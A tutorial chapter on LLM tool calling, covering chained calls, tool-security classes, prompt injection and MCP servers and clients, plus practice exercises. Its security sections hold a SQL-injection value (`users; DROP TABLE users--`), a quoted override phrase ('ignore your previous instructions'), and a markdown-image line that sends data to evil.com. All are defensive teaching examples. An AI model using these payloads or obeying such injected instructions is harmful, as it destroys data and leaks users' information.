A tool's result is often not the end of the story: the model reads it, discovers it needs a *second* tool, and uses something from the first result as input. You ask a colleague "what's the weather where Company X is based?" — they cannot answer in one move. First they find the company is in Lyon; only *then*, holding that fact, do they check Lyon's weather. **Parallel** (previous topic) is several calls in *one* response because they're independent; **chained** is several calls across *several* responses because each depends on the last. This is the same five-step loop from the round-trip topic, run repeatedly until the model stops asking.

How it really works

- Each round adds two messages — the model's request and your `tool` reply — appended to the **same** `messages` list, never a fresh one, and re-sent in full every round. The list *is* the wiring between steps; nothing in your code connects one tool's output to the next tool's input.
- The only normal exit is `finish_reason == "stop"` (equivalently `not msg.tool_calls`). **Nothing else stops the loop** — a round cap is not optional.
- Cost grows roughly with the square of chain length: round *k* re-sends every message from rounds 1..k-1. A 6-round chain with large tool results is the usual explanation for a surprising bill — truncate tool results to what the next step needs, and say you truncated ("195 more matches; refine the query").
- **The repeated-call check catches more than the round cap.** The classic runaway is the model calling the same tool with the same arguments five times because the result didn't contain what it wanted. Hash `(name, arguments)`; on the second repeat, reply "you already called this and got X — do not call it again."
- Chains compound selection errors: at 90% per-step accuracy, a 4-step chain succeeds about 66% of the time. Prefer a hard-coded, fixed workflow (Doc10) whenever the sequence is known in advance — it has no per-step selection risk at all.
- You can nudge parallel vs. chained from a description: "requires a city and country code; if you don't know them, call `find_headquarters` first" tells the model the *dependency*, not just the arguments.
- When the budget runs out, don't just give up — spend one more call with `tool_choice="none"` to force a prose answer from whatever was gathered. Partial information beats nothing.
- In multi-agent systems, chaining is the primitive that hands off: a supervisor calls a research agent, reads the result, *then* decides whether to call a writer. Budgets must be global — a 6-round cap across 4 agents is 24 model calls for one request.

Guard	Mandatory?
Model stops asking (`not msg.tool_calls`)	Yes — the normal exit
Round cap	Yes — the only guarantee of termination
Repeated identical call → stop	Strongly recommended — catches the commonest runaway
Token/cost budget, wall-clock deadline	Yes in production

Common mistakes:

- *Mistake:* building a fresh `messages` list for the second call, or sending only the latest result. → *Symptom:* the model asks for the same tool again, or answers as if it never saw the result. → *Fix:* one list, append-only, always sent in full.
- *Mistake:* `while True:` with no cap, "because the model stops when it's done." → *Symptom:* a degraded tool returns "try again," the model obliges, you discover it in the billing dashboard. → *Fix:* a round cap plus a repeated-call detector; the detector usually fires first.

Where you'll meet it: the Build Task's harness is one round of this loop; adding the `while` makes it Doc07's agent, which names this pattern ReAct. Doc10 contrasts it with fixed workflows and plan-then-execute; Doc09 turns the loop into a resumable graph; Doc11 chains whole agents and forces the global-budget question; Doc14 has you diagnose a chain stuck repeating one call.

Quick cheat sheet:

- One `messages` list, append-only, re-sent in full every round.
- Parallel = arguments known now. Chained = an argument comes from a previous result.
- Exit on `not msg.tool_calls`. Everything else is a guard, and guards are mandatory.
- Round cap + repeated-call detector + token budget + wall-clock deadline.
- When the budget runs out, make one final `tool_choice="none"` call instead of giving up.

Security: tools are a real attack surface

A tool that runs a shell command, writes to a database, or calls a real API is doing something in the real world, using arguments the model generated from text a user typed. A bank teller takes instructions from whoever is at the window — the bank's safety doesn't come from the teller being suspicious, it comes from the teller *being unable* to wire a million pounds no matter how convincingly asked. If a user's message can influence what arguments the model sends, and your tool trusts those arguments blindly, the user can influence what your tool does. The mitigation is two-part: **validate and allowlist** before anything runs, and **least privilege** — a tool that only reads should never hold credentials that write or delete.

How it really works

- Follow the provenance: user text (untrusted) → model reads it, produces arguments *derived* from that text → your code receives a typed, Pydantic-validated object that *looks* clean. **The laundering happens here** — structure is not trust. `table="users; DROP TABLE users--"` is a perfectly valid `str`.
- **The model is not a security control.** You cannot prompt your way to safety, because the prompt is exactly what the attacker influences. A system-prompt instruction ("never query api_keys") is a hint, not a boundary. Defence belongs in your code, at the point a value crosses into an interpreter: parameterised queries (never `f"SELECT * FROM {table}"`), `subprocess.run([...], shell=False)`, `Literal` enums for identifiers instead of free strings, and bounded numerics (`ge` / `le`).
- **Identity comes from your session, never from a tool argument.** `lookup_order(order_id="ORD-999")` returns *someone else's* order unless the query is scoped to the authenticated user. If a tool takes a `user_id` the model can fill in, you've built an authorisation bypass.
- Classify every tool before you write it — pure computation, read-public, read-private (scope to the caller), write-reversible (audit log), write-irreversible (human approval + idempotency key), or code execution (a real sandbox: no network, no secrets, memory/time caps — `exec()` with a restricted builtins dict is not a control, it is defeated in minutes).
- Irreversible actions need approval that is **specific**: "Refund £84.50 to order ORD-1234?" not a generic "allow this agent to act?" — a generic prompt trains users to click yes and protects nothing.
- Idempotency keys stop double execution. Models retry, networks retry, your loop retries — with retries built into every layer of this document, a duplicate call is the *expected* case, not an edge case.
- Two things must never appear in a tool's signature: identity and privilege. `send_email(subject, body)` that always sends to the signed-in user is a feature; `send_email(to, ...)` reachable by any agent is a spam relay.
- In multi-agent systems, privilege must not aggregate at the supervisor "so it can delegate anything." Give each specialist only its own tools; keep write tools on exactly one agent; make handoffs carry data, never credentials.

Class	Examples	Risk	Controls needed
Pure computation	`add`, `format_date`	Near zero	Bound inputs
Read, public	`get_weather`	Low	Rate limit, timeout
Read, private	`lookup_order`	**Medium**	Scope to the current user
Write, reversible	`create_draft`	Medium	Audit log, quota
Write, irreversible	`issue_refund`, `send_email`	**High**	Human approval, idempotency key, value caps

Class	Examples	Risk	Controls needed
Code execution	`run_python`	**Critical**	Sandbox: no network, no secrets, hard limits

Common mistakes:

- *Mistake:* interpolating a model-generated string into SQL, a shell command, or a URL — `f"SELECT * FROM {table}"`. → *Symptom:* nothing, for months; then data disclosure or a deleted table. → *Fix:* parameterised queries, `Literal` enums for identifiers, host allowlists for URLs.
- *Mistake:* a tool that takes `user_id` / `customer_id` as an argument the model fills in. → *Symptom:* a user asks about "account 4471" and gets a stranger's data. → *Fix:* inject identity from the authenticated session at the dispatcher; never accept it as an argument.

Where you'll meet it: the Build Task requires handling bad input without crashing — this topic is why that's a security property, not just robustness. The next topic covers the harder case, where the malicious instruction arrives inside content rather than from the user. Project 9 is a whole project on these defences; Doc11 is where privilege aggregation becomes a design decision; Doc16 treats the tool layer as a trust boundary.

Quick cheat sheet:

- Tool arguments are untrusted input wearing a typed costume. Shape ≠ safety.
- The model is not a security boundary; a prompt is not a control.
- Classify every tool by risk; allowlist identifiers, bind values, bound numbers.
- Identity comes from the session, never a tool argument. Least privilege per tool.
- Irreversible actions: specific human approval, plus an idempotency key.

Prompt injection: when the attack comes from content, not the user

The previous topic was about a legitimate user's own prompt steering the model into dangerous arguments. **Prompt injection is different and often worse: the attacker isn't the user at all.** It's whoever wrote the content your system pulls in and hands to the model as trustworthy — a retrieved document, a fetched web page, an email being summarised, a tool's return value. Any of these can carry instructions aimed at the model: "ignore your previous instructions and…", hidden in white-on-white text or an HTML comment. A person reading a stack of letters knows the difference between the letter and the boss who asked them to read it. A model has no such instinct — everything arrives as one stream of text in one context window, and an instruction is an instruction wherever it sits.

How it really works

- Your system builds a prompt by concatenation: system instructions + conversation + retrieved content, all one token sequence. **Nothing in that sequence is labelled by trust level** — the

model attends across the whole window uniformly, and an imperative sentence inside a document is, mechanically, just an imperative sentence in context.

- **If the model has tools, the injected instruction becomes an action** — this is the step that turns a text-quality problem into a security incident. An injected chatbot produces one bad paragraph; an injected *agent* can send data to an attacker's address, using the legitimate user's own permissions.
- The loop creates a **self-reinforcing channel**: a tool result is context for the next turn, so a poisoned page read at step 2 can steer the call at step 3. Injection in an agent is not one decision point — it is every subsequent one.
- **Defences split into two kinds, and you need both.** *Probability reducers* — delimit and label untrusted content, strip HTML comments and zero-width characters, instruct the model that content is data not commands — raise the bar but don't guarantee anything, because the attacker gets unlimited attempts at phrasing. *Consequence bounders* — no tools on the component reading untrusted content, allowlisted destinations, human approval on irreversible actions — hold even when the first kind fails.
- **The single highest-value architectural move:** split the pipeline so the component that *reads* untrusted content has **no tools at all**. It returns structured data (a summary, extracted fields); a second component, which never sees the raw content, acts on that data. An injected instruction lands in a process with nothing to act with.
- **Second-order injection** is the underestimated variant: an attacker plants text your system *stores* (a support ticket, a product review), retrieved weeks later by an unrelated agent run. Sanitise on ingestion **and** treat stored content as untrusted on retrieval — trust follows provenance, not the last hop.
- Watch for exfiltration channels that don't look like tools — a markdown image (`![](https://evil.com/?d=<data>)`) rendered in your UI is a GET request carrying data.
- This is unsolved and worth saying so: no filter catches every phrasing (base64, other languages, role-play framings). Ship assuming one attack lands, and make sure the blast radius is small.
- In multi-agent systems, trust must not be transitive across a handoff — the agent touching untrusted content should be the least privileged in the system, and its output should be structured and validated at the boundary rather than passed as free prose to an agent with write tools.

Channel	Notice-ability
Retrieved documents (RAG)	Low — looks like a normal document
Fetched web pages	Low — hidden in comments or white text
Emails being summarised	**Very low** — attacker needs no access at all
Tool results from a third party	Very low — feels trustworthy
Another agent's output	**Lowest** — arrives with internal trust

Common mistakes:

- *Mistake:* treating tool results and retrieved documents as trusted because "they came from our own system." → *Symptom:* an injection stored months earlier fires during an unrelated agent run, untraceable in the logs. → *Fix:* trust follows provenance, not the hop it arrived on — anything originally authored outside your system stays untrusted forever.
- *Mistake:* defending only with prompts and filters, treating the problem as closed. → *Symptom:* it holds against every attack you thought of, then fails against one you didn't — and the agent still had the tools to do damage. → *Fix:* add consequence-bounding layers: no tools on the reading component, allowlisted destinations, approval on irreversible actions.

Where you'll meet it: Project 9 is an entire project on this; Project 2's browsing agent is the high-risk configuration described above. Doc08's RAG-specific version is this topic's sharpest form — your own trusted knowledge base becomes the delivery channel; Doc11 is where trust becomes transitive across handoffs unless you stop it; Doc13 is where a red-team fixture belongs; Doc16 treats the privilege split as a system-design boundary.

Quick cheat sheet:

- The attacker is the content author, not the user. Anything fetched, retrieved, emailed or returned by a tool is untrusted.
- There are no trust labels inside a context window — instructions are instructions wherever they sit.
- **Best move: the component that reads untrusted content has no tools.**
- Bound the consequence: allowlist hosts and recipients, approve irreversible actions, least privilege everywhere.
- Trust follows provenance, not the last hop. Assume one attack lands; design so it doesn't matter.

What MCP actually is, and the problem it solves

MCP (Model Context Protocol) is a standardised way for an AI application to connect to external tools, data and prompts — created by Anthropic, now an open standard. Before USB, every peripheral had its own cable; a new laptop meant new drivers for all of them. USB standardised the plug once, and the combinatorial problem collapsed. Everything in this document so far — the description, the Pydantic schema, the registration call — is specific to one app's function-calling format. A tool wired up by hand for one application has to be rewritten, by hand, for a different one, even though the underlying function never changed. MCP defines one shared protocol so a "server" exposes its tools **once**, and any MCP-compatible "client" can plug in without a bespoke integration.

How it really works

- Without a standard, integration count is **N × M**: N tool sources times M applications. With MCP it becomes **N + M**: each source implements the protocol once (a server), each app implements it once (a client), and any pair works. Adding one app is +0 integrations, not +N.

- The protocol itself is deliberately unremarkable: **JSON-RPC 2.0** over a transport (a local subprocess pipe, or HTTP). A connection starts with `initialize` (both sides state protocol version and capabilities), then the client asks `tools/list` and **the server describes itself** — names, descriptions, JSON Schemas, arriving over the wire at runtime instead of being hardcoded.
- To run a tool, the client sends `tools/call` and gets content back — the same five-step round-trip as earlier in this document. **MCP standardises where the tool lives, not how tool calling works.**
- **Capabilities are discovered, not declared.** A server can gain a tool and every existing client can use it without being redeployed.
- The real win is organisational, not technical: keeping three copies of one tool correct for two years is the actual cost MCP removes, the same argument that produced shared libraries and then microservices.
- The pragmatic reason to reach for it is the ecosystem: servers for GitHub, Postgres, Slack and filesystems already exist. Consuming one is an afternoon; writing that integration yourself is a sprint.
- Every server you connect is code running with your privileges — pin versions, read the source of anything local, sandbox untrusted servers, and treat their tool *results* as untrusted content (previous topic, arriving through a channel that feels internal).

Situation	Use MCP?	Why
One app, a few local tools, one team	**No**	Hardcode them — a protocol between two files you own is overhead
Same capability needed by 3+ agents/apps	**Yes**	The N × M problem, appearing in your own codebase
Consuming someone else's tools (GitHub, Slack)	**Yes**	Their server already exists; you write no integration
Tools that must update without redeploying consumers	**Yes**	Servers version independently; clients rediscover on connect
A very latency-sensitive inner loop	Probably not	A subprocess or HTTP hop per call adds real milliseconds

Common mistakes:

- *Mistake:* reaching for MCP on day one for a single-app project. → *Symptom:* a subprocess, a handshake and an async client wrapped around a function you could have imported. → *Fix:* hardcode until the third consumer appears — MCP solves a multiplication you don't yet have.
- *Mistake:* expecting MCP to replace function calling or act as an agent framework. → *Symptom:* looking for the loop, the memory, the reasoning, and concluding the protocol is missing features. → *Fix:* MCP moves where tools *live*. The five-step round-trip and the loop remain yours.

Where you'll meet it: the next three topics cover MCP's building blocks, the client/server mechanics, and why it matters for multi-agent work. Project 7 builds a real server, Project 8 a real client agent, Project 11 several agents over shared servers, Project 12 an agent pipeline exposed as one MCP tool. Doc08 wraps a retriever as a server.

Quick cheat sheet:

- MCP = an open protocol (JSON-RPC 2.0) for exposing tools, resources and prompts to AI apps.
- It turns N × M bespoke integrations into N servers + M clients.
- Servers describe themselves; clients discover capabilities at connect time.
- It standardises where tools live — not how tool calling works; the round-trip is unchanged.
- Worth it at 3+ consumers or when a server already exists; not worth it for one app with a few local tools.

MCP's 3 building blocks: Tools, Resources, and Prompts

An MCP server can expose three kinds of things, and picking the right one matters as much as writing a good description. Think of a well-run library: **librarians** *do* things for you (place a hold) — that's a **Tool**, for an action with a side effect. **Books on the shelf** you simply take and read — that's a **Resource**, read-only data fetched without a model call. **Reading lists pinned by the door** are the librarians' expertise written down once — that's a **Prompt**, a reusable, parameterised template shared by every client that connects. One server can expose all three.

How it really works

- On connect, the client asks for each list separately: `tools/list`, `resources/list`, `prompts/list`. A server advertises only what it implements.
- **Tools are model-controlled** — their schemas go to the model, and the *model* decides mid-conversation to call one via `tools/call`. **Resources are application-controlled** — identified by URI (`notes://roadmap`), fetched with `resources/read`; **no model call is involved**, the client application (your code, the UI, the user) decides what to load. **Prompts are user-controlled** — `prompts/get` returns ready-made messages, typically picked from a menu.
- **"Read-only" is a contract, not a suggestion.** A Resource that logs an access or triggers a refresh has broken it — clients are entitled to cache, prefetch, or re-read it freely. Anything with a consequence is a Tool.
- **The rule for the ambiguous cases:** if the data should be in context *every time*, make it a Resource the app loads — no model call, no selection risk. If it should only be fetched *sometimes* and the model is best placed to judge when, make it a Tool.
- Tool support is universal across clients; Resource and Prompt support varies. If a server must work with an unknown client, put the critical path in Tools and treat the other two as enhancements.
- Prompts are how expertise stops being duplicated — the team that owns a code-review server also owns what a good review looks like, and shipping it as a Prompt means every client uses

the same, versioned instructions.

- In multi-agent systems, the three blocks map cleanly onto three needs: shared *actions* become Tools (one implementation, one audit trail), shared *facts* become Resources every agent loads identically (eliminating "the agents disagreed because they had different context" bugs), shared *instructions* become Prompts.

A minimal server showing all three (MCP Python SDK):

```
from mcp.server.mcpserver import MCPServer

mcp = MCPServer("library")

@mcp.tool()                          # model decides; has a side effect
def add_note(title: str, text: str) -> str:
    """Save a note under a title. Use when asked to record something."""
    NOTES[title] = text
    return f"saved '{title}'"

@mcp.resource("notes://index")       # app decides; read-only, no model call
def notes_index() -> str:
    """The list of every note title."""
    return "\n".join(sorted(NOTES))

@mcp.prompt()                        # user picks it; returns messages only
def summarise_notes(audience: str = "the team") -> str:
    """A reusable prompt for summarising notes for an audience."""
    return f"Summarise the notes for {audience} in 5 bullets, citing titles."
```

	Tool	Resource	Prompt
Controlled by	The model	The application	The user
Side effects	Allowed, expected	**None** — must be read-only	None — returns messages
Identified by	A name	A URI	A name
Costs a model call to use	Yes	**No**	No (it starts one)

Common mistakes:

- *Mistake:* making something a Tool because "the model might need it," when it's static read-only data. → *Symptom:* a wasted model call and a selection decision every turn for something that could've been free context. → *Fix:* if the app always wants it, it's a Resource.

- *Mistake:* a Resource with a side effect — logging, counting, a refresh. → *Symptom:* the effect fires an unpredictable number of times, since clients cache and prefetch freely. → *Fix:* Resources are read-only, full stop; anything with a consequence is a Tool.

Where you'll meet it: Project 7 builds a server with all three blocks — Step 3 is specifically "add the Resource and the Prompt." Project 8 consumes them from a client. Doc08 exposes a retriever as a Tool and its index as a Resource; Doc11 and Project 11 share one server across several agents, where Resources keep agents' context consistent.

Quick cheat sheet:

- **Tool** — model decides — side effects allowed — `tools/call`.
- **Resource** — app decides — read-only, URI-addressed — `resources/read`, no model call.
- **Prompt** — user decides — returns messages, takes no action — `prompts/get`.
- Stuck? Ask "who should decide when this happens?"
- Tool support is universal; Resource/Prompt support varies — put the critical path in Tools.

MCP servers and clients, and how they actually connect

An MCP **server** is a small program exposing Tools, Resources and Prompts over the protocol. An MCP **client** — built into an app, or written inside your own agent — connects to one or more servers and can **discover** what they offer at runtime, instead of you hardcoding `tools=[get_weather, ...]` by hand. Plugging a USB drive into a laptop needs no driver for that specific drive — the laptop asks "what are you, what can you do?" and the device answers. **Two transports: stdio** — the client launches the server as a local subprocess and talks over stdin/stdout, for local tools on the same machine. **HTTP** (with Server-Sent Events for streaming) — for a server meant to be a shared service for many clients over the network.

How it really works

- A connection: **transport** (client spawns the subprocess, or connects over HTTP) → **`initialize`** (both sides state protocol version and capabilities; a mismatch fails here, loudly) → **`initialized`** notification → **discovery** (`tools/list` returns name, description, `inputSchema` — JSON Schema generated by the SDK from your Python type hints and docstring) → **adaptation** (your client converts each discovered tool into your provider's format — MCP's `inputSchema` is already JSON Schema, so "adapting" is renaming one field) → **execution** (`tools/call`, same round-trip as before) → **shutdown**.
- **The model has no idea MCP is involved** — it sees names, descriptions and schemas, exactly as in the first topic of this document.
- **stdout is the protocol channel for stdio.** A stray `print()` in a server corrupts the JSON-RPC stream and the client hangs at `initialize`. Log to stderr only.
- **The client owns every guarantee the protocol doesn't give you:** timeouts per `tools/call` (`asyncio.wait_for`), retries with backoff, a bounded loop, degrading gracefully when a server

is down. This is Doc02's networking discipline — timeouts, retries, a clear error — applied to a subprocess or socket instead of `requests`.

- Namespace tools the moment a second server connects — `notes__search`, `github__search` — with a map back to `(session, original_name)`, or two servers exposing `search` silently shadow each other.
- Cache discovery for the session, but verify it in production: snapshot the discovered tool list, diff on reconnect, alert on unexpected changes rather than silently adopting them — someone else's deploy shouldn't change your agent's behaviour unnoticed.
- `result.content` is a **list** of content blocks, not a string — read `.text` from each and handle the empty case.
- In multi-agent systems, one client layer serves every agent: connect once, discover once, hand each agent the *subset* of tools its role needs — the least-privilege discipline from the Security topic, implemented in one auditable place.

A minimal working server (MCP Python SDK), under 15 lines:

```
from mcp.server.mcpserver import MCPServer

mcp = MCPServer("weather-server")

@mcp.tool()
def get_weather(city: str) -> str:
    """Get the current weather for one named city."""
    return f"18C, cloudy in {city}"

if __name__ == "__main__":
    mcp.run(transport="stdio")   # stdout is the protocol — never print() here
```

Symptom	Cause	Fix
Client hangs at `initialize`	Server crashed, or printed to stdout	Run the server directly, read stderr; remove every `print()`
`discovered` is empty	Wrong file spawned, or decorators never ran	Check `StdioServerParameters`' path
Tool call returns odd shape	`result.content` is a *list*	Read `.text` from each block
Two servers both expose `search`	Name collision	Namespace on the client

Common mistakes:

- *Mistake:* using `print()` for logging inside a stdio server. → *Symptom:* the client hangs at `initialize` with nothing useful in the traceback. → *Fix:* log to stderr (`logging`'s default) or a

file.

- *Mistake:* reading `result.content` as if it were a plain string. → *Symptom:* `AttributeError`, or a result that prints as `[TextContent(...)]` and confuses the model. → *Fix:* extract `.text` from each block, join them, handle the empty case.

Where you'll meet it: Project 7 builds the server side for real (SQLite-backed, with a Resource and a Prompt); Project 8 builds the client side, including multi-server namespacing and graceful degradation — its own instructions point straight back to the minimal server above as `example_server.py`. Doc08b is the async background the client code assumes; Doc12 covers deploying an HTTP server properly.

Quick cheat sheet:

- Server exposes; client connects, discovers, adapts, calls. The model never knows MCP exists.
- Handshake: `initialize` → `initialized` → `tools/list` → `tools/call`.
- stdio = local subprocess, fastest, **never print to stdout**. HTTP+SSE = remote, shared, needs auth.
- `result.content` is a *list* of blocks; read `.text` from each.
- The client owns timeouts, retries, loop caps and degradation — the protocol provides none.

Why MCP matters for the multi-agent systems this curriculum builds

A hospital doesn't give every doctor their own private X-ray machine and their own copy of patient records — there's one radiology department, one records system, and every doctor uses them. Everything in this document so far has been one app hardcoding its own tools. That's fine for a single agent. It stops being fine once several agents (Doc11) need the *same* capability — a shared database, a shared search index. **Without MCP**, each agent's tool definitions get duplicated by hand and drift out of sync as one copy is fixed and the others aren't. **With MCP**, you stand up one server, and every agent becomes a client that connects and discovers what's available. Nothing about descriptions, Pydantic validation or error handling changes — MCP just moves where the tool *lives*, from "hardcoded into this app" to "a shared service any agent can plug into."

How it really works

- Trace what duplication does over months: agent A gets a `search_documents` tool; agent B copies it; a bug (context-window-blowing results) gets fixed in A's copy and not B's; the two agents now behave differently on the same question, invisibly, because the difference is a truncation limit in one of two near-identical files. One server makes this impossible — one definition, one fix, one audit log.
- Because the client connects once and hands each agent a *subset* of discovered tools, **the privilege boundary becomes a single readable table** instead of a property scattered across agent files — the researcher gets search, only the publisher gets write tools.
- **Privilege must not aggregate at the supervisor.** The tempting design gives it every tool "so it can help out." A supervisor should hold exactly one kind of tool — handoffs — and no data or

write access; Doc11's routing is a decision, not an action.

- **The agent reading untrusted content is the least privileged thing in the system.** Combine this with the prompt-injection topic: a researcher reading web pages will eventually read a poisoned one. If its grant is `{search}` and nothing else, the injection lands with nothing to act with.
- **Shared Resources prevent a whole class of multi-agent bugs.** When a researcher, writer and critic each load the same `style://guide` Resource, they cannot disagree about the style guide — "the agents contradicted each other" is very often "the agents had different context."
- Budgets must be **global**, not per agent: four agents each capped at 6 rounds is 24 model calls for one user request — track cost and wall-clock at the request level through the shared client layer.
- Split servers by **capability or data source**, never by consumer — a server per agent recreates duplication with extra steps (a subprocess and a protocol, still one tool definition per agent).
- Keep the connection layer separate from agent definitions: one manager owns sessions, discovery, namespacing, timeouts and the grant table; agents receive a plain list of callable tools and know nothing about MCP, which keeps them testable with fake tools.

Concern	One agent, hardcoded	Several agents, shared MCP server
Fixing a bug	Edit one file	Edit the server; every agent gets it, no redeploy
Privileges	Implicit in what each agent registers	One explicit grant table
Audit trail	Per agent, if you built one	One place, every call, every agent
Adding an agent	Copy the tool definitions	Grant a subset; write nothing

Common mistakes:

- *Mistake:* giving the supervisor every tool so it can "help out" when a specialist struggles. → *Symptom:* the supervisor does the specialists' work, and the most-prompted component holds the most dangerous capabilities. → *Fix:* supervisors get handoff tools only; a struggling specialist reports failure and the supervisor re-routes.
- *Mistake:* one MCP server per agent. → *Symptom:* all of MCP's complexity and none of its benefit — each server is still one agent's private tool list. → *Fix:* split servers by capability or data source, never by consumer.

Where you'll meet it: Doc11 is the full treatment of coordinating agents, and Project 11 is exactly this topic built end to end, including graceful degradation when a server is down. Project 12 inverts it — a whole multi-agent pipeline exposed as a single MCP tool. Doc10 decides when you need several agents at all; Doc12 and Doc13 cover the deployment and evaluation this level assumes.

Quick cheat sheet:

- Duplicated tools across agents drift silently. One server = one definition, one fix, one audit log.

- Split servers by capability or data source — **never** one server per agent.
- A role→tools grant table is your privilege model — short enough to read in a code review.
- Supervisors route; they should hold no data or write tools.
- Budget globally per request; per-agent caps have no ceiling.

Go Deeper (Optional)

You don't need any of these to understand the Core Concepts above — use them if you want a second explanation or more detail.

- OpenAI — Function calling guide — read this closely now (you only skimmed it in Doc04).
- LangChain — Tools concept — the `@tool` decorator and tool shapes.
- Model Context Protocol — Specification — the official MCP docs, for the wire-level detail this document deliberately leaves out.

Practice Exercises

Setup: same venv as before — if it's not active, `cd 06_tools_function_calling && source ../01_python_foundations/.venv/bin/activate` (or your own venv for this folder). New packages for this document: `pip install langchain langchain-openai pydantic mcp`.

Where your code lives: all of it under `06_tools_function_calling/practice/` (`mkdir -p practice`), never loose beside this README. Exercises are grouped **by topic, not by level** — the same convention as Doc01/Doc02 — so you can see one topic's growth from basic to intermediate side by side in one file.

The full file layout, all exercises:

```
practice/
├── first_tool_call_practice.py      Basic
├── tool_selection_practice.py       Intermediate + Failure (two sections)
├── real_api_tool_practice.py        Real-world
├── missing_argument_practice.py     Edge cases
├── http_client.py                   copied from Doc02, unchanged
├── exceptions.py                    copied from Doc02, unchanged
├── logging_setup.py                 copied from Doc02, unchanged
└── build_task/                      Build Task — its own folder
    ├── tools.py                     3 @tool functions + argument models
    ├── tool_harness.py              run_with_tools(...) -> ToolCallResult
    ├── test_prompts.py              the Test Cases — prompt -> outcome
    ├── http_client.py               copied from Doc02, unchanged
```

```
    ├── exceptions.py                copied from Doc02, unchanged
    └── logging_setup.py             copied from Doc02, unchanged
```

Why each script exists:

- `first_tool_call_practice.py` — the exact primitive every agent in this curriculum is built from.
- `tool_selection_practice.py` — where "tool descriptions are prompts too" stops being abstract and becomes something you watched happen.
- `real_api_tool_practice.py` — a hardcoded tool teaches nothing about the failure modes real tools actually have.
- `missing_argument_practice.py` — tells you whether a tool needs to ask a clarifying question, then fixes it with a Pydantic `args_schema`.
- `build_task/tools.py` / `build_task/tool_harness.py` — the one tool library every later document (Doc07 onward) imports instead of writing tools from scratch.
- `build_task/test_prompts.py` — proves which tool gets picked for a real set of prompts, not just an assumption.
- `http_client.py` / `exceptions.py` / `logging_setup.py` — Doc02's client and its errors, copied unchanged (in `practice/` and `build_task/`), so the real-API tool gets Doc02's retries and named errors.

For this document, save your practice code as:

- **Basic** (your first working tool) is its own topic — save as `practice/first_tool_call_practice.py`.
- **Intermediate** (watch the model choose between two tools) and **Failure** (a crashing tool, and a bad description) are both about how descriptions drive the model's choices — save them together as `practice/tool_selection_practice.py`, one section per level.
- **Real-world** (a tool backed by a real API call) is its own topic — save as `practice/real_api_tool_practice.py`.
- **Edge cases** (a missing required argument) is its own topic — save as `practice/missing_argument_practice.py`.

Jump to an exercise: Basic · Intermediate · Real-world · Edge cases · Failure · Build Task

Basic — your first working tool

- **What:** one tool (like a calculator function), registered on a model call and correctly called for an obvious math question.
- **Why:** this is the exact primitive every agent in this entire curriculum is built from — see it work once, standalone, before combining it with anything else.
- **How to code it:** `@tool def add(a: int, b: int) -> int: return a + b`, register it in `tools=[add]` on your model call, ask "what's 5 + 7?", and print the tool call the model requests.

- **Save as:** `practice/first_tool_call_practice.py`.
- **Builds on:** Doc01's typed-function habit — full type hints on `add`, the same discipline as Doc01's Basic exercise.
- **Used later by:** the Build Task's `run_with_tools()`, which is this exact round-trip made reusable.
- **Stuck?** Hint 1 · Hint 2 · Show me the solution

Intermediate — watch the model choose between two tools

- **What:** two tools with overlapping jobs (like `get_weather` and `get_forecast`) — see which one the model picks for an ambiguous prompt, and figure out why.
- **Why:** this is where "tool descriptions are prompts too" stops being an abstract idea and becomes something you watched happen.
- **How to code it:** register both tools with deliberately similar descriptions, ask something ambiguous ("what's the weather like"), and print which one got picked across 5 runs.
- **Save as:** `practice/tool_selection_practice.py`, under an `# Intermediate` section (this file also holds the Failure exercise, in its own `# Failure` section).
- **Used later by:** the Failure exercise right below (same file, sharpened and re-counted), and the Build Task's test harness, which logs this same split for every prompt.
- **Stuck?** Hint 1 · Hint 2 · Show me the solution

Real-world — a tool backed by a real API call

- **What:** a tool that makes a real `requests` call (reuse Doc02's client), not a fake one.
- **Why:** a tool that only returns hardcoded data teaches you nothing about the failure modes real tools actually have — timeouts, bad responses, rate limits.
- **How to code it:** copy Doc02's `http_client.py`, `exceptions.py` and `logging_setup.py` into `practice/`, unchanged. Call `request_with_retry("GET", url, params=...)` inside a `@tool`-decorated function that calls a real public API (the weather, free), and register it. In Intermediate, catch Doc02's `TransientHTTPError` and `PermanentHTTPError` and return an `"Error: ..."` string.
- **Save as:** `practice/real_api_tool_practice.py`.
- **Builds on:** Doc02's Build Task — import `http_client.py` rather than calling `requests` directly, exactly as Doc04 was told to.
- **Used later by:** the Build Task's required "one tool that calls a real service."
- **Stuck?** Hint 1 · Hint 2 · Show me the solution

Edge cases — a missing required argument

- **What:** a tool that needs an argument the user's message didn't provide — see what the model actually does.

- **Why:** this tells you whether you need to design your tool to ask a clarifying question, or handle a missing/default value gracefully.
- **How to code it:** give a tool a required `city: str` argument, then ask a question that needs the tool but never mentions a city — read what the model does (asks you, guesses, or fails). Then fix it: a Pydantic `WeatherArgs` with `city: str = Field(min_length=1)`, attached with `@tool(args_schema=WeatherArgs)`, and catch the `ValidationError`.
- **Save as:** `practice/missing_argument_practice.py`.
- **Builds on:** the Pydantic argument-model habit from Checking arguments: Pydantic as the contract — the "optional field, let the tool ask" rule this topic states directly.
- **Used later by:** the Build Task's Pydantic argument models (one `args_schema` per tool), and the Test Cases row "missing a required argument."
- **Stuck?** Hint 1 · Hint 2 · Show me the solution

Failure — a crashing tool, and a bad description

- **What:** a tool that raises an error when called, made into a clean message the model can react to instead of a crash. Then a deliberately vague tool description, sharpened, with before/after proof.
- **Why:** both of these are real production bugs you will cause yourself at least once — better to see them here, on purpose, where nothing's at stake.
- **How to code it:** wrap your tool's body in `try/except`, and on error `return f"Error: {e}"` as the tool's result instead of letting it raise — the same custom-exception discipline as Doc01. Send that string back to the model as a `{"role": "tool", "content": ..., "tool_call_id": ...}` message and read its real reaction. Then take a genuinely vague description, run the same ambiguous prompt 5 times, sharpen it, and run it 5 more times — count how the split changed.
- **Save as:** `practice/tool_selection_practice.py`, under a `# Failure` section (this file also holds the Intermediate exercise, in its own `# Intermediate` section).
- **Builds on:** the Intermediate section of this same file — same descriptions, now deliberately fixed.
- **Used later by:** the Build Task's "one tool designed to sometimes fail," and its harness, which sends every tool result back the same way.
- **Stuck?** Hint 1 · Hint 2 · Show me the solution

Build Task — Tool Library

Stuck on the Build Task? Hint 1 · Hint 2 · Show me the solution

Goal: 2-3 real tools you'll reuse in every document from here on.

Requirements:

- At least one tool that's pure logic (no outside calls), one that calls a real service (using Doc02's HTTP client), and one designed to sometimes fail (for the failure-handling practice above).
- Each tool has a precise description — you'll need to be able to defend why the model picks correctly, given it.
- A test harness that registers all the tools on one model call, logs which tool (if any) got picked for a set of test prompts, and sends each tool's result back so the model's final answer can be checked.

Inputs: a list of test prompts — some clearly matching one tool, some unclear, some matching none.
